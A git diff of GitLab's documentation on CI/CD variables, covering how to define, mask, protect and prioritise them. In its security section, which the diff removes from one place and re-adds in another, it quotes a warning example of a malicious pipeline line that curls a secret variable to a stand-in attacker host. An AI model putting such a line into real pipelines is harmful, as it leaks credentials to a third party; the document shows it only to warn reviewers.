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diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md
index 5da501d4d8b..20de736a6e6 100644
--- a/doc/ci/variables/README.md
+++ b/doc/ci/variables/README.md
@@ -7,14 +7,18 @@ type: reference
# GitLab CI/CD variables **(FREE)**
-CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md)
-and jobs run. For example, you could:
+CI/CD variables are a type of environment variable. You can use them to:
-- Use the value of a `TEMP` variable to know the correct location to store temporary files.
-- Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts.
+- Control the behavior of jobs and [pipelines](../pipelines/index.md).
+- Store values you want to re-use.
+- Avoid hard-coding values in your `.gitlab-ci.yml` file.
-Variables can be used to customize your jobs in [GitLab CI/CD](../README.md).
-When you use variables, you don't have to hard-code values.
+You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
+
+- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- [Project CI/CD variables](#project-cicd-variables).
+- [Group CI/CD variables](#group-cicd-variables).
+- [Instance CI/CD variables](#instance-cicd-variables).
> For more information about advanced use of GitLab CI/CD:
>
@@ -26,24 +30,14 @@ When you use variables, you don't have to hard-code values.
## Predefined CI/CD variables
GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
-that you can use without any additional specification.
-You can call issue numbers, user names, branch names,
-pipeline and commit IDs, and much more.
-
-Predefined variables are provided by GitLab for the local environment of the runner.
-
-GitLab reads the `.gitlab-ci.yml` file and sends the information
-to the runner, where the variables are exposed. The runner then runs the script commands.
+you can use in pipelines configuration and job scripts.
### Use predefined CI/CD variables
-You can choose one of the existing predefined CI/CD variables
-to be output by the runner.
-
-This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`.
+You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
-In your `.gitlab-ci.yml` file, call the variable from your script. Ensure
-you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts).
+This example shows how to output a job's stage by using the `CI_JOB_STAGE`
+predefined variable:
```yaml
test_variable:
@@ -52,60 +46,106 @@ test_variable:
- echo $CI_JOB_STAGE
```
-In this case, the runner outputs the `stage` for the
-job `test_variable`, which is `test`:
+The script outputs the `stage` for the `test_variable`, which is `test`:
![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
## Custom CI/CD variables
-When you need a specific custom variable, you can
-[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md),
-or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml).
+You can create custom CI/CD variables:
-The variables are used by the runner any time the pipeline runs.
-You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
+- For a project:
+ - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+ - [In the project's settings](#project-cicd-variables).
+ - [With the API](../../api/project_level_variables.md).
+- For all projects in a group [in the group's setting](#group-cicd-variables).
+- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables).
+
+You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
-There are two types of variables: **Variable** and **File**. You cannot set types in
-the `.gitlab-ci.yml` file, but you can set them in the UI and API.
+There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
+
+Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
+to execute scripts. Each shell has its own set of reserved variable names.
+
+Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
-### Create a custom variable in `.gitlab-ci.yml`
+### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
-To create a custom `env_var` variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
-define the variable/value pair under `variables`:
+To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
+define the variable and value with `variables` keyword.
+
+You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
+If the variable is at the top level, it's globally available and all jobs can use it.
+If it's defined in a job, only that job can use it.
```yaml
variables:
- TEST: "HELLO WORLD"
+ TEST_VAR: "All jobs can use this variable's value"
+
+job1:
+ variables:
+ TEST_VAR_JOB: "Only job1 can use this variable's value"
+ script:
+ - echo $TEST_VAR and $TEST_VAR_JOB
+```
+
+Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
+configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
+visible in the repository. Store sensitive variables containing secrets, keys, and so on
+in project settings.
+
+Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
+
+If you don't want globally defined variables to be available in a job, set `variables`
+to `{}`:
+
+```yaml
+job1:
+ variables: {}
+ script:
+ - echo This job does not need any variables
```
-You can then call its value in your script:
+You can use variables to help define other variables. Use `$$` to ignore a variable
+name inside another variable:
```yaml
+variables:
+ FLAGS: '-al'
+ LS_CMD: 'ls $FLAGS $$TMP_DIR'
script:
- - echo "$TEST"
+ - 'eval $LS_CMD' # Executes 'ls -al $TMP_DIR'
```
-For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined-variables).
+Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
+keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
+for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
+
+### Project CI/CD variables
-### Create a custom variable in the UI
+You can add CI/CD variables to a project's settings. Only project members with
+[maintainer permissions](../../user/permissions.md#project-members-permissions)
+can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
+in the project settings, not in the `.gitlab-ci.yml` file.
-From the UI, you can add or update custom variables:
+To add or update variables in the project settings:
1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
-1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details:
-
- - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- - **Value**: No limitations.
- - **Type**: `File` or `Variable`.
- - **Environment scope**: `All`, or specific [environments](../environments/index.md).
- - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements).
+1. Select the **Add Variable** button and fill in the details:
-After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Environment scope**: `All`, or specific [environments](../environments/index.md).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
-After you set a variable, call it from the `.gitlab-ci.yml` file:
+After you create a variable, you can use it in the `.gitlab-ci.yml` file:
```yaml
test_variable:
@@ -121,114 +161,181 @@ The output is:
![Output custom variable](img/custom_variables_output.png)
-Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
+### Group CI/CD variables
-#### Security
+> - Introduced in GitLab 9.4.
+> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
-Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables.
+To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
-All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before:
+Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
-- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
-- Merging the changes.
+- Do **not** use an external key store.
+- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-Here is a simplified example of a malicious `.gitlab-ci.yml`:
+To add a group variable:
-```yaml
-build:
- script:
- - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
-```
+1. In the group, go to **Settings > CI/CD**.
+1. Select the **Add Variable** button and fill in the details:
-### Custom CI/CD variables of type Variable
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: No limitations.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ in job logs. The variable fails to save if the value does not meet the
+ [masking requirements](#mask-a-cicd-variable).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
+To view the group-level variables available in a project:
+
+1. In the project, go to **Settings > CI/CD**.
+1. Expand the **Variables** section.
+
+Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
+inherited.
+
+![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-For variables with the type **Variable**, the runner creates an environment variable
-that uses the key for the name and the value for the value.
+### Instance CI/CD variables
-There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type,
-which may be further validated. They appear when you add or update a variable in the UI.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
-### Custom CI/CD variables of type File
+To make a CI/CD variable available to all projects and groups in a GitLab instance,
+define an instance CI/CD variable.
+
+You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
+
+To add an instance variable:
+
+1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
+1. Select the **Add variable** button, and fill in the details:
+
+ - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
+ - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
+ 10,000 characters is allowed. This is also bounded by the limits of the selected
+ runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
+ - **Type**: [`File` or `Variable`](#cicd-variable-types).
+ - **Protect variable** (Optional): If selected, the variable is only available
+ in pipelines that run on protected branches or tags.
+ - **Mask variable** (Optional): If selected, the variable's **Value** is not shown
+ in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
+
+### CI/CD variable types
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
-For variables with the type **File**, the runner creates an environment variable that uses the key for the name.
-For the value, the runner writes the variable value to a temporary file and uses this path.
+All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
+are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
+or `File` type.
-You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
+`Variable` type variables:
+
+- Consist of a key and value pair.
+- Are made available in jobs as environment variables, with:
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value as the environment variable value.
+
+Use `File` type CI/CD variables for tools that need a file as input.
+
+`File` type variables:
+
+- Consist of a key, value and file.
+- Are made available in jobs as environment variables, with
+ - The CI/CD variable key as the environment variable name.
+ - The CI/CD variable value saved to a temporary file.
+ - The path to the temporary file as the environment variable value.
+
+Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
-to customize your configuration by using **File** type variables.
+use `File` type variables for configuration.
+
+For example, if you have the following variables:
-Previously, a common pattern was to read the value of a CI/CD variable, save it in a file, and then
-use that file in your script:
+- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
+- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
+
+Use the variables in a job script like this:
```shell
-# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
-echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
-# Pass the newly created file to kubectl
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
```
-Instead of this, you can use a **File** type variable. For example, if you have the following variables:
-
-- A variable of type **Variable**: `KUBE_URL` with the value `https://example.com`.
-- A variable of type **File**: `KUBE_CA_PEM` with a certificate as the value.
+An alternative to `File` type variables is to:
-You can call them from `.gitlab-ci.yml`, like this:
+- Read the value of a CI/CD variable (`variable` type).
+- Save the value in a file.
+- Use that file in your script.
```shell
-kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
+# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
+echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
+# Pass the newly created file to kubectl
+kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
```
-### Mask a custom variable
+### Mask a CI/CD variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
-Variables can be masked so that the value of the variable is hidden in job logs.
+You can mask a project, group, or instance CI/CD variable so the value of the variable
+does not display in job logs.
To mask a variable:
-1. Go to **Settings > CI/CD**.
+1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
-1. Next to the variable you want to protect, click **Edit**.
+1. Next to the variable you want to protect, select **Edit**.
1. Select the **Mask variable** check box.
-1. Click **Update variable**.
-
-#### Masked variable requirements
+1. Select **Update variable**.
The value of the variable must:
-- Be in a single line.
-- Be at least 8 characters long.
-- Not be a predefined or custom CI/CD variable.
-- Consist only of:
+- Be a single line.
+- Be 8 characters or longer, consisting only of:
- Characters from the Base64 alphabet (RFC4648).
- The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
- The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).
+- Not match the name of an existing predefined or custom CI/CD variable.
-You can't mask variables that don't meet these requirements.
+### Protect a CI/CD variable
-### Protect a custom variable
-
-> Introduced in GitLab 9.3.
-
-Variables can be protected. When a variable is
-protected, it is only passed to pipelines running on
-[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get
-the protected variable.
+You can protect a project, group or instance CI/CD variable so it is only passed
+to pipelines running on [protected branches](../../user/project/protected_branches.md)
+or [protected tags](../../user/project/protected_tags.md).
To protect a variable:
-1. Go to **Settings > CI/CD**.
+1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
-1. Next to the variable you want to protect, click **Edit**.
+1. Next to the variable you want to protect, select **Edit**.
1. Select the **Protect variable** check box.
-1. Click **Update variable**.
+1. Select **Update variable**.
The variable is available for all subsequent pipelines.
+### CI/CD variable security
+
+Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
+and send them to a third party server regardless of the masked setting. If the pipeline
+runs on a [protected branch](../../user/project/protected_branches.md) or
+[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
+
+Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
+
+- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
+- Merge the changes.
+
+The following example shows malicious code in a `.gitlab-ci.yml` file:
+
+```yaml
+build:
+ script:
+ - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
+```
+
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
@@ -240,26 +347,21 @@ Some variables are listed in the UI so you can choose them more quickly.
| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
WARNING:
-When you store credentials, there are security implications. If you are using AWS keys,
-for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
-
-## Syntax of CI/CD variables in job scripts
+When you store credentials, there are [security implications](#cicd-variable-security).
+If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
-All variables are set as environment variables in the build environment, and
-they are accessible with normal methods that are used to access such variables.
-In most cases `bash` or `sh` is used to execute the job script.
+## Use CI/CD variables in job scripts
-To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/).
+All CI/CD variables are set as environment variables in the job's environment.
+You can use variables in job scripts with the standard formatting for each environment's
+shell.
-| Shell | Usage |
-|----------------------|------------------------------------------|
-| bash/sh | `$variable` |
-| PowerShell | `$env:variable` (primary) or `$variable` |
-| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. |
+To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
-### Bash
+### Use variables with Bash, `sh` and similar
-To access environment variables in **bash**, prefix the CI/CD variable name with (`$`):
+To access environment variables in Bash, `sh`, and similar shells, prefix the
+CI/CD variable with (`$`):
```yaml
job_name:
@@ -267,13 +369,10 @@ job_name:
- echo $CI_JOB_ID
```
-### PowerShell
+### Use variables with PowerShell
-To access variables in a **Windows PowerShell** environment, including system set
-environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables
-can also be accessed by prefixing the variable name with (`$`) with
-[GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68)
-and later.
+To access variables in a Windows PowerShell environment, including environment
+variables set by the system, prefix the variable name with (`$env:`) or (`$`):
```yaml
job_name:
@@ -284,7 +383,7 @@ job_name:
```
In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
-environment variables may need to be surrounded by quotes to expand properly:
+environment variables might need to be surrounded by quotes to expand properly:
```yaml
job_name:
@@ -294,8 +393,8 @@ job_name:
### Windows Batch
-To access environment variables in **Windows Batch**, surround the variable
-with (`%`):
+To access environment variables in Windows Batch, surround the variable
+with `%`:
```yaml
job_name:
@@ -303,34 +402,45 @@ job_name:
- echo %CI_JOB_ID%
```
+You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html).
+Delayed expansion might be needed for variables that contain white spaces or newlines.
+
+```yaml
+job_name:
+ script:
+ - echo !ERROR_MESSAGE!
+```
+
### List all environment variables
-You can also list all environment variables with the `export` command in Bash
-or `dir env:` command in PowerShell.
-Be aware that this also exposes the values of all the variables
-you set, in the job log:
+You can list all environment variables available to a script with the `export` command
+in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
+variables, which can be a [security risk](#cicd-variable-security).
+[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
+
+For example:
```yaml
job_name:
script:
- export
- # - 'dir env:' # use this for PowerShell
+ # - 'dir env:' # Use this for PowerShell
```
-Example values:
+Example job log output:
```shell
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="master"
-export CI_REPOSITORY_URL="https://gitlab-ci-token:abcde-1234ABCD5678ef@example.com/gitlab-org/gitlab-foss.git"
+export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
-export CI_JOB_TOKEN="abcde-1234ABCD5678ef"
+export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
@@ -346,7 +456,7 @@ export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY="registry.example.com"
export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY_USER="gitlab-ci-token"
-export CI_REGISTRY_PASSWORD="longalfanumstring"
+export CI_REGISTRY_PASSWORD="[masked]"
export CI_RUNNER_ID="10"
export CI_RUNNER_DESCRIPTION="my runner"
export CI_RUNNER_TAGS="docker, linux"
@@ -363,126 +473,26 @@ export CI_SERVER_VERSION_MINOR="9"
export CI_SERVER_VERSION_PATCH="0"
export GITLAB_USER_EMAIL="user@example.com"
export GITLAB_USER_ID="42"
+...
```
-## `.gitlab-ci.yml` defined variables
-
-You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository,
-and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or
-`DATABASE_URL`.
-
-For example, if you set the variable below globally (not inside a job), it is
-used in all executed commands and scripts:
-
-```yaml
-variables:
- DATABASE_URL: "postgres://postgres@postgres/my_database"
-```
-
-The YAML-defined variables are also set to all created
-[service containers](../docker/using_docker_images.md), so that you can fine
-tune them.
-
-Variables can be defined at a global level, but also at a job level. To turn off
-global defined variables in your job, define an empty hash:
-
-```yaml
-job_name:
- variables: {}
-```
-
-You are able to use other variables inside your variable definition (or escape them with `$$`):
-
-```yaml
-variables:
- LS_CMD: 'ls $FLAGS $$TMP_DIR'
- FLAGS: '-al'
-script:
- - 'eval $LS_CMD' # will execute 'ls -al $TMP_DIR'
-```
-
-Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
-keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
-when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
-
-## Group-level CI/CD variables
-
-> Introduced in GitLab 9.4.
-
-You can define per-project or per-group variables that are set in the pipeline environment.
-Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`).
-They are securely passed to GitLab Runner, which makes them available during a pipeline run.
-
-We recommend using group variables to store secrets (like passwords, SSH keys, and
-credentials) for users who:
-
-- Do **not** use an external key store.
-- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
-
-Group-level variables can be added by:
-
-1. Navigating to your group's **Settings > CI/CD** page.
-1. Inputting variable types, keys, and values in the **Variables** section.
- Any variables of [subgroups](../../user/group/subgroups/index.md) are inherited recursively.
-
-After you set them, they are available for all subsequent pipelines. Any group-level user defined variables can be viewed in projects by:
-
-1. Navigating to the project's **Settings > CI/CD** page.
-1. Expanding the **Variables** section.
-
-![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
-
-## Instance-level CI/CD variables
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
-
-Instance variables are useful for no longer needing to manually enter the same credentials repeatedly for all your projects. Instance-level variables are available to all projects and groups on the instance.
-
-In GitLab 13.1 and later, the [maximum number of instance-level variables is 25](https://gitlab.com/gitlab-org/gitlab/-/issues/216097).
-
-You can define instance-level variables via the UI or [API](../../api/instance_level_ci_variables.md).
-
-To add an instance-level variable:
-
-1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
-1. Click the **Add variable** button, and fill in the details:
-
- - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
- - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed.
- - **Type**: `File` or `Variable`.
- - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements).
-
-After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.
-
-### Enable or disable UI interface for instance-level CI/CD variables
-
-The UI interface for Instance-level CI/CD variables is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:instance_variables_ui)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:instance_variables_ui)
-```
-
-## Inherit CI/CD variables
+## Pass an environment variable to another job
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0 behind a disabled [feature flag](../../administration/feature_flags.md): `ci_dependency_variables`.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
-You can inherit CI/CD variables from dependent jobs.
+You can pass environment variables from one job to another job in a later stage.
+These variables cannot be used as CI/CD variables to configure a pipeline, but
+they can be used in job scripts.
-This feature makes use of the [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) report feature.
+1. In the job script, save the variable as a `.env` file.
+1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv)
+artifact.
+1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/README.md#dependencies)
+ or the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keywords.
+1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts).
-Example with [`dependencies`](../yaml/README.md#dependencies) keyword.
+For example, with the [`dependencies`](../yaml/README.md#dependencies) keyword:
```yaml
build:
@@ -496,12 +506,12 @@ build:
deploy:
stage: deploy
script:
- - echo $BUILD_VERSION # => hello
+ - echo $BUILD_VERSION # Output is: 'hello'
dependencies:
- build
```
-Example with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword:
+For example, with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword:
```yaml
build:
@@ -515,133 +525,113 @@ build:
deploy:
stage: deploy
script:
- - echo $BUILD_VERSION # => hello
+ - echo $BUILD_VERSION # Output is: 'hello'
needs:
- job: build
artifacts: true
```
-## Priority of CI/CD variables
+## CI/CD variable precedence
-Variables of different types can take precedence over other
-variables, depending on where they are defined.
+You can use CI/CD variables with the same name in different places, but the values
+can overwrite each other. The type of variable and where they are defined determines
+which variables take precedence.
The order of precedence for variables is (from highest to lowest):
-1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
- and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline).
-1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. [Inherited CI/CD variables](#inherit-cicd-variables).
-1. YAML-defined [job-level variables](../yaml/README.md#variables).
-1. YAML-defined [global variables](../yaml/README.md#variables).
+1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables),
+ [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
+ and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
+1. Project [variables](#custom-cicd-variables).
+1. Group [variables](#group-cicd-variables).
+1. Instance [variables](#instance-cicd-variables).
+1. [Inherited variables](#pass-an-environment-variable-to-another-job).
+1. Variables defined in jobs in the `.gitlab-ci.yml` file.
+1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
1. [Deployment variables](#deployment-variables).
-1. [Predefined CI/CD variables](predefined_variables.md).
-
-For example, if you define:
-
-- `API_TOKEN=secure` as a project variable.
-- `API_TOKEN=yaml` in your `.gitlab-ci.yml`.
-
-`API_TOKEN` takes the value `secure` as the project
-variables take precedence over those defined in `.gitlab-ci.yml`.
-
-## Unsupported variables
-
-Variable names are limited by the underlying shell used to execute scripts (see [available shells](https://docs.gitlab.com/runner/shells/index.html).
-Each shell has its own unique set of reserved variable names.
-Keep in mind the [scope of CI/CD variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it.
-
-## Where variables can be used
-
-[This section](where_variables_can_be_used.md) describes where and how the different types of variables can be used.
-
-## Advanced use
-
-### Limit the environment scopes of CI/CD variables
+1. [Predefined variables](predefined_variables.md).
-You can limit the environment scope of a variable by
-[defining which environments](../environments/index.md) it can be available for.
+In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
+Variables defined in jobs have a higher precedence than variables defined globally.
-To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
+```yaml
+variables:
+ API_TOKEN: "default"
-### Deployment variables
+job1:
+ variables:
+ API_TOKEN: "secure"
+ script:
+ - echo "The variable value is $API_TOKEN"
+```
-> Introduced in GitLab 8.15.
+## Override a defined CI/CD variable
-[Integrations](../../user/project/integrations/overview.md) that are
-responsible for deployment configuration may define their own variables that
-are set in the build environment. These variables are only defined for
-[deployment jobs](../environments/index.md). Please consult the documentation of
-the integrations that you are using to learn which variables they define.
+You can override the value of a variable when you:
-An example integration that defines deployment variables is the
-[Kubernetes integration](../../user/project/clusters/index.md#deployment-variables).
+1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI.
+1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
+1. Run a job manually in the UI.
+1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
+1. Trigger a pipeline by using [the API](../triggers/README.md#making-use-of-trigger-variables).
